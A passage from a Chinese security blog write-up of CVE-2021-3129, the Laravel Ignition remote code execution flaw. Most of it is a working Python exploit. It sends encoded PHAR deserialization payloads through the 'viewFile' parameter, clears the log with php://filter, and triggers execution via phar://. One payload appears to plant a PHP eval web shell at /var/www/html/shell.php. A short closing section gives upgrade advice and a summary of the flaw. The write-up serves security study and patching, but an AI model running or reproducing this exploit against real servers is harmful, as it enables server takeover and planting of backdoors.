            "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=52=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=62=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=63=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=6B=00=4D=00=6D=00=68=00=32=00=57=00=56=00=63=00=78=00=63=00=46=00=68=00=54=00=61=00=7A=00=64=00=51=00=65=00=6A=00=51=00=39=00=66=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=43=00=41=00=74=00=5A=00=43=00=41=00=2B=00=49=00=43=00=39=00=32=00=59=00=58=00=49=00=76=00=64=00=33=00=64=00=33=00=4C=00=32=00=68=00=30=00=62=00=57=00=77=00=76=00=63=00=32=00=68=00=6C=00=62=00=47=00=77=00=75=00=63=00=47=00=68=00=77=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=37=00=6D=00=51=00=44=00=5A=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=6C=00=2B=00=6F=00=79=00=42=00=59=00=69=00=63=00=79=00=37=00=59=00=45=00=58=00=76=00=67=00=50=00=76=00=35=00=2B=00=4D=00=62=00=48=00=55=00=53=00=2B=00=4C=00=63=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def send_poc_linux(url, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
            "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=2B=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4B=00=78=00=75=00=41=00=32=00=51=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=4E=00=45=00=5A=00=63=00=6E=00=6D=00=50=00=7A=00=6B=00=72=00=36=00=48=00=4B=00=45=00=64=00=33=00=39=00=49=00=50=00=46=00=6E=00=6A=00=73=00=2B=00=32=00=55=00=6D=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def filter_log(url, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
            "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def phar_ser_linux(url, path, proxy_server):
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "username",
            "viewFile": "phar://" + path + "/storage/logs/laravel.log/test.txt"
        }
    }
    response = requests.post(url, headers=header, data=json.dumps(data, indent=1), proxies={
        # 指定 http 和 https 走什么代理
        "http": proxy_server,
        "https": proxy_server
    })
    return response


def get_path(url, proxy_server):
    req = requests.get(url, proxies={
        'http': proxy_server,
        'https': proxy_server
    }).text
    pattern = re.compile(r'(\#\d*\ (.*)(?:\/|\\)vendor)')
    m = pattern.findall(req)
    return m[0][1]


if __name__ == '__main__':
    main()
  • 漏洞探测：
  • 木马写入

木马写入情况：

getshell：

五、修复方法

  • 建议受影响的用户将Laravel框架升级至8.4.3及以上版本。
  • 将facade ignition组件升级至2.5.2及以上版本。

总结

CVE-2021-3129是一个影响Laravel框架的远程代码执行漏洞。当Laravel开启Debug模式时，由于Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。该漏洞影响Laravel框架版本小于8.4.3以及Ignition组件版本小于2.5.2。

文章作者: 司晓凯
文章链接: http://sxksec.cn/2024/12/31/lou-dong-zhi-shi-ku/laravel-rce-cve-2021-3129/
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
漏洞知识库 反序列化漏洞 远程代码执行 CVE-2021-3129 Laravel RCE
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